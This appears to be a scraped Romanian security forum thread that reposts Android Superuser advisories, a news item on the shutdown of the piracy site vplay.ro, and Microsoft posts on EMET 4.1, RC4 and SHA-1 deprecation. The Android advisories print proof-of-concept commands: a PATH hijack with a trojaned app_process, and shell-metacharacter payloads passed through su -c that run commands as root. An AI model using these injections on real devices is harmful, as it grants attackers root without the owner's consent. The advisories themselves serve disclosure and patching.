Android 4.2.x Superuser Unsanitized Environment Authored by Kevin Cernekee Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner. This advisoriy documents PATH and BOOTCLASSPATH vulnerabilities. Vulnerable releases of several common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root without notifying the device owner: - ChainsDD Superuser (current releases, including v3.1.3) - CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1) - Chainfire SuperSU prior to v1.69 The majority of third-party ROMs include one of these packages. On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. In the course of its normal duties, and prior to making the allow/deny decision, /system/xbin/su invokes external programs under a privileged UID, typically root (0) or system (1000): - /system/bin/log, to record activity to logcat - /system/bin/am, to send intents to the Superuser Java app - /system/bin/sh, to execute the /system/bin/am wrapper script - /system/bin/app_process, the Dalvik VM The user who invokes /system/xbin/su may have the ability to manipulate the environment variables, file descriptors, signals, rlimits, tty/stdin/stdout/stderr, and possibly other items belonging to any of these subprocesses. At least two vulnerabilities are readily apparent: - On ClockWorkMod Superuser, /system/xbin/su does not set PATH to a known-good value, so a malicious user could trick /system/bin/am into using a trojaned app_process binary: echo -e '#!/system/bin/sh\nexport PATH=/system/bin:$PATH\ntouch /data/trojan.out\nexec $0 "$@"' > app_process ; chmod 755 app_process PATH=`pwd`:$PATH su -c 'true' The PATH vulnerability is being tracked under CVE-2013-6768. - Other environment variables could be used to affect the behavior of the (moderately complex) subprocesses. For instance, manipulation of BOOTCLASSPATH could cause a malicious .jar file to be loaded into the privileged Dalvik VM instance. All three Superuser implementations allowed Dalvik's BOOTCLASSPATH to be supplied by the attacker. The BOOTCLASSPATH vulnerability is being tracked under CVE-2013-6774. Sursa: Android 4.2.x Superuser Unsanitized Environment ? Packet Storm

Android 4.2.x Superuser Shell Character Escape Authored by Kevin Cernekee Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root. These issues are due to a shell character escape vulnerability. Vulnerable releases of two common Android Superuser packages may allow malicious Android applications to execute arbitrary commands as root, either without prompting the user or after the user has denied the request: - CyanogenMod/ClockWorkMod/Koush Superuser (current releases, including v1.0.2.1) - Chainfire SuperSU prior to v1.69 The majority of recent third-party ROMs include one of these packages. Older ROMs may use the ChainsDD Superuser package, which is not affected but is no longer maintained. On a rooted Android <= 4.2.x device, /system/xbin/su is a setuid root binary which performs a number of privilege checks in order to determine whether the operation requested by the caller should be allowed. If any of these checks fail, the denial is recorded by broadcasting an intent to the Superuser app through the Android Activity Manager binary, /system/bin/am. /system/bin/am is invoked as root, and user-supplied arguments to the "su" command can be included on the "am" command line. On a rooted Android >= 4.3 device, due to changes in Android's security model, /system/xbin/su functions as an unprivileged client which connects to a "su daemon" started early in the boot process. The client passes the request over a UNIX socket, and the daemon reads the caller's credentials using SO_PEERCRED. As described above, /system/bin/am is called (now from the daemon) to communicate with the app that implements the user interface. If the user invokes "su -c 'COMMAND'" and the request is denied (or approved), ClockWorkMod Superuser constructs a command line to pass to a root shell: snprintf(user_result_command, sizeof(user_result_command), "exec /system/bin/am " ACTION_RESULT " --ei binary_version %d --es from_name '%s' --es desired_name '%s' --ei uid %d --ei desired_uid %d --es command '%s' --es action %s --user %d", VERSION_CODE, ctx->from.name, ctx->to.name, ctx->from.uid, ctx->to.uid, get_command(&ctx->to), policy == ALLOW ? "allow" : "deny", ctx->user.android_user_id); get_command() would return "COMMAND", unescaped, through "/system/bin/sh -c". By adding shell metacharacters to the command, the root subshell can be tricked into running arbitrary command lines as root: su -c "'&touch /data/abc;'" Upon denial by the operator, "touch /data/abc" will be executed with root privileges. The Superuser variant of this problem is being tracked under CVE-2013-6769. SuperSU prior to v1.69 removes quote and backslash characters from the string passed to /system/bin/sh, but backticks or $() can be used instead for the same effect: su -c '`touch /data/abc`' su -c '$(touch /data/abc)' The SuperSU variant of this problem is being tracked under CVE-2013-6775. ChainsDD Superuser v3.1.3 does not appear to pass the user-supplied input on the /system/bin/am command line. Sursa: Android 4.2.x Superuser Shell Character Escape ? Packet Storm

Eu nu fac afaceri cu nimeni, puteai sa ma intrebi daca am avut vreo treaba cu el. Asteptam si un raspuns din partea lui, poate are vreo scuza. PS: Acum am vazut: Total posts: 1 Nu suntem nebuni cand cerem minim 50 de posturi pentru postat la Market. Nici nu ma obosesc sa ii dau ban pentru asta.

Cel mai cunoscut site de seriale piratate din România a fost închis de Poli?ie de Vlad Andriescu Domeniul de internet vplay.ro, unde exista unul dintre cele mai mari platforme de filme piratate din România a fost închis de Poli?ia Român?. Potrivit hotnews.ro, Institutul Na?ional de Cercetare în Informatic?, care administreaz? domeniile de internet .ro a suspendat domeniul vplay.ro, dup? o sesizare a Poli?iei. Aceasta se referea la un clip de pornografie infantil? care nu putea fi îndep?rtat de pe site, potrivit lui Eugen St?icu?, ?eful departamentului RoTLD din cadrul ICI. Domeniul vplay.ro este de?inut de o persoan? fizic? din Ucraina, c?ruia Poli?ia i-a cerut îndep?rtarea con?inutului de pe site. "În cazule de pornografie infantil? ?i în cazurile de phising se ac?ioneaz? imediat. Poli?ia a contactat ?i autorit??ile din ucraina, dar întrucât nu au primit un r?spuns, ne-a cerut s? t?iem accesul pân? la rezolvarea investiga?iilor cu partea ucrainean?", a decalrat St?icu? pentru hotnews.ro. vplay.ro a fost înregistrat prin Hostway în 2009, dar nu a fost g?zduit de firma de hosting ?i servere din Bucure?ti. VPlay era considerat? cea mai mare platform? de filme piratate de pe internetul românesc. Utilizatorii g?seau aici seriale de la televiziunile americane. Con?inutul site-ului era unul pus acolo ilegal, dar autorit??ile nu au putut ancheta cine se afl? în spatele platformei, deoarece era înregistrat? în afara României. "Mai exist? ?i alte cazuri în curs de anchet? privind site-uri care ar difuza con?inut protejat de drepturi de autor f?r? a avea acordul de?in?torilor acelor drepturi", au mai spus oficialii Poli?iei. Sursa: Cel mai cunoscut site de seriale piratate din România a fost închis de Poli?ie | adevarul.ro mai cunoscut site de seriale piratate din România a fost închis de Poli?ie

Vin multe persoane de aici. Eu vin.

Spui asta pentru ca l-ai vazut acum mult timp sau pentru ca nu e FullHD? E ceva ce ar trebui vazut de catre toti tinerii cu aspiratii de programator/hacker din ziua de azi.

Introducing Enhanced Mitigation Experience Toolkit (EMET) 4.1 swiat 11 Nov 2013 4:57 PM In June 2013, we released EMET 4.0 and customer response has been fantastic. Many customers across the world now include EMET as part of their defense-in-depth strategy and appreciate how EMET helps businesses prevent attackers from gaining access to computers systems. Today, we’re releasing a new version, EMET 4.1, with updates that simplify configuration and accelerate deployment. EMET anticipates the most common techniques adversaries might use and shields computer systems against those security threats. EMET uses security mitigation technologies such as Data Execution Prevention (DEP), Mandatory Address Space Layout Randomization (ASLR), Structured Exception Handler Overwrite Protection (SEHOP), Export Address Table Access Filtering (EAF), Anti-ROP, and SSL/TLS Certificate Trust Pinning, to help protect computer systems from new or undiscovered threats. EMET can also protect legacy applications or third party line of business applications where you do not have access to the source code. Today’s EMET 4.1 release includes new functionality and updates, such as: Updated default protection profiles, Certificate Trust rules, and Group Policy Object configuration. Shared remote desktop environments are now supported on Windows servers where EMET is installed. Improved Windows Event logging mechanism allows for more accurate reporting in multi-user scenarios. Several application-compatibility enhancements and mitigation false positive reporting. EMET built by Microsoft Security Research Center (MSRC) engineering team, brings the latest in security science to your organization. While many EMET users exchange feedback and ideas at TechNet user forums, a less known fact is that Microsoft Premier Support options are also available for businesses that deploy EMET within their enterprise. Many of our customers deploy EMET - at scale - through the Microsoft System Center Configuration manager and apply enterprise application, user and accounts rules through Group Policy. EMET works well with the tools and support options our customers know and use today. As we continue to advance EMET, we welcome your feedback on what you like and what additional features would help in protecting your business. If you are attending RSA Conference at San Francisco, or the Blackhat Conference in Las Vegas next year, be sure to stop by the Microsoft booth, and share your feedback with us. We look forward to hearing from you. The Microsoft EMET Team Microsoft Security Response Center (MSRC) Engineering Sursa: Introducing Enhanced Mitigation Experience Toolkit (EMET) 4.1 - Security Research & Defense - Site Home - TechNet Blogs

Security Advisory 2868725: Recommendation to disable RC4 swiat 12 Nov 2013 10:00 AM In light of recent research into practical attacks on biases in the RC4 stream cipher, Microsoft is recommending that customers enable TLS1.2 in their services and take steps to retire and deprecate RC4 as used in their TLS implementations. Microsoft recommends TLS1.2 with AES-GCM as a more secure alternative which will provide similar performance. Background Developed in 1987 by Ron Rivest, RC4 was one of the earliest stream ciphers to see broad use. It was initially used in commercial applications and was faster than alternatives when implemented in software and over time became pervasive because of how cheap, fast and easy it was to implement and use. Stream vs. Block At a high level, a stream cipher generates a pseudorandom stream of bits of the same length as the plaintext and then XOR's the pseudorandom stream and the plaintext to generate the cipher text. This is different than a block cipher, which chunks plaintext into separate blocks, pads the plaintext to the block size and encrypts the blocks. A History of Issues RC4 consists of a Key Scheduling Algorithm (KSA) which feeds into a Psuedo-Random Generator (PRG), both of which need to be robust for use of the cipher to be considered secure. Beyond implementation issues with RC4, such as, document encryption and the 802.11 WEP implementation, there are some significant issues that exist in the KSA which lead to issues in the leading bytes of PRG output. By definition, a PRG is only secure if the output is indistinguishable from a stream of random data. In 2001, Mantin and Shamir < CiteSeerX — A Practical Attack on Broadcast RC4 > found a significant bias in RC4 output, specifically that the second byte of output would be ‘0’. Attacks and research have evolved since 2001, the work of T. Isobe, T. Ohigashi, Y. Watanabe, M. Morii of Kobe University in Japan is especially significant when evaluating the risk of RC4 use. Their findings show additional, significant bias in the first 257 bytes of RC4 output as well as practical plaintext recovery attacks on RC4. The plaintext recovery attacks show a passive attacker collecting ciphertexts encrypted with different keys. Given 2^32 ciphertexts with different keys, the first 257 bytes of the plaintext are recovered with a probability of more than .5 < http://home.hiroshima- u.ac.jp/ohigashi/rc4/Full_Plaintext_Recovery%20Attack_on%20Broadcast_RC4_pre-proceedings.pdf >. Since early RC4 output cannot be discarded from SSL/TLS implementations without protocol-level changes, this attack demonstrates the practicality of attacks against RC4 in common implementations. Internet Use of RC4 One of the first steps in evaluating the customer impact of new security research and understanding the risks involved has to do with evaluating the state of public and customer environments. Using a sample size of five million sites, we found that 58% of sites do not use RC4, while approximately 43% do. Of the 43% that utilize RC4, only 3.9% require its use. Therefore disabling RC4 by default has the potential to decrease the use of RC4 by over almost forty percent. Microsoft's Response Today's update provides tools for customers to test and disable RC4. The launch of Internet Explorer 11 (IE 11) and Windows 8.1 provide more secure defaults for customers out of the box. IE 11 enables TLS1.2 by default and no longer uses RC4-based cipher suites during the initial TLS handshake. More detailed information about these changes can be found in the IE 11 blog <http://blogs.msdn.com/b/ie/archive/2013/11/12/IE11-Automatically-Makes-Over-40-of-the-Web- More-Secure-While-Making-Sure-Sites-Continue-to-Work/> For application developers, we have implemented additional options in SChannel which allow for its use without RC4. Today's Updates Today's update KB 2868725provides support for the Windows 8.1 RC4 changes on Windows 7, Windows 8, Windows RT, Server 2008 R2, and Server 2012. These updates will not change existing settings and customers must implement changes (which are detailed below) to help secure their environments against weaknesses in RC4. Call to Action Microsoft strongly encourages customers to evaluate, test and implement the options for disabling RC4 below to increase the security of clients, servers and applications. Microsoft recommends enabling TLS1.2 and AES-GCM. Clients and servers running on Windows with custom SSL/TLS implementations, such as, Mozilla Firefox and Google Chrome will not be affected by changes to SChannel. How to Completely Disable RC4 Clients and Servers that do not wish to use RC4 ciphersuites, regardless of the other party's supported ciphers, can disable the use of RC4 cipher suites completely by setting the following registry keys. In this manner any server or client that is talking to a client or server that must use RC4, can prevent a connection from happening. Clients that deploy this setting will not be able to connect to sites that require RC4 while servers that deploy this setting will not be able to service clients that must use RC4. [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 128/128] "Enabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 40/128] "Enabled"=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 56/128] "Enabled"=dword:00000000 How Other Applications Can Prevent the Use of RC4 based Cipher Suites RC4 is not turned off by default for all applications. Applications that call into SChannel directly will continue to use RC4 unless they opt-in to the security options. Applications that use SChannel can block the use of RC4 cipher suites for their connections by passing the SCH_USE_STRONG_CRYPTO flag to SChannel in the SCHANNEL_CRED structure. If compatibility needs to be maintained, then they can also implement a fallback that does not pass this flag. Microsoft recommends that customers upgrade to TLS1.2 and utilize AES-GCM. On modern hardware AES-GCM has similar performance characteristics and is a much more secure alternative to RC4. - William Peteroy, MSRC I would like to thank the Windows, Internet Explorer and .NET teams for their work in this effort as well as Ali Rahbar and Suha Can of the MSRC Engineering team for their hard work and input. I would also like to thank Matthew Green for the excellent write-ups he has for this and other applied cryptography issues on his blog. Sursa: Security Advisory 2868725: Recommendation to disable RC4 - Security Research & Defense - Site Home - TechNet Blogs

Security Advisory 2880823: Recommendation to discontinue use of SHA-1 swiat 12 Nov 2013 10:00 AM Microsoft is recommending that customers and CA’s stop using SHA-1 for cryptographic applications, including use in SSL/TLS and code signing. Microsoft Security Advisory 2880823 has been released along with the policy announcement that Microsoft will stop recognizing the validity of SHA-1 based certificates after 2016. Background Secure Hashing Algorithm 1 (SHA-1) is a message digest algorithm published in 1995 as part of NIST’s Secure Hash Standard. A hashing algorithm is considered secure only if it produces unique output for any given input and that output cannot be reversed (the function only works one-way). Since 2005 there have been known collision attacks (where multiple inputs can produce the same output), meaning that SHA-1 no longer meets the security standards for a producing a cryptographically secure message digest. For attacks against hashing algorithms, we have seen a pattern of attacks leading up to major real-world impacts: Short history of MD5 Attacks Source: Marc Stevens, Cryptanalysis of MD5 and SHA-1 1992: MD5 published 1993: Pseudo-collision attack 2004: Identical-prefix collision found in 2^40 calls 2006: chosen-prefix collision found in 2^49 calls 2009: identical-prefix and chosen prefix optimized to 2^16 and 2^39 calls respectively, Rouge CA practical attacks implemented It appears that SHA-1 is on a similar trajectory: 1995: SHA-1 published 2005: SHA-1 collision attack published in 2^69 calls 2005: NIST recommendation for movement away from SHA-1 2012: Identical-prefix collision 2^61 calls presented 2012: Chosen-prefix collision 2^77.1 calls presented Current Issues Microsoft is actively monitoring the situation and has released a policy for deprecating SHA-1 by 2016. Microsoft Recommendations Microsoft recommends that Certificate Authorities (CA’s) stop using SHA-1 for digital signatures and that consumers request SHA-2 certificates from CA’s. Microsoft Policy Microsoft has publicized a new policy that calls for users and CA’s to stop using SHA1-based certificates by 2016. - William Peteroy, MSRC I would like to thank the Microsoft PKI team as well as Ali Rahbar of the MSRC Engineering team for their hard work and input. Sursa: Security Advisory 2880823: Recommendation to discontinue use of SHA-1 - Security Research & Defense - Site Home - TechNet Blogs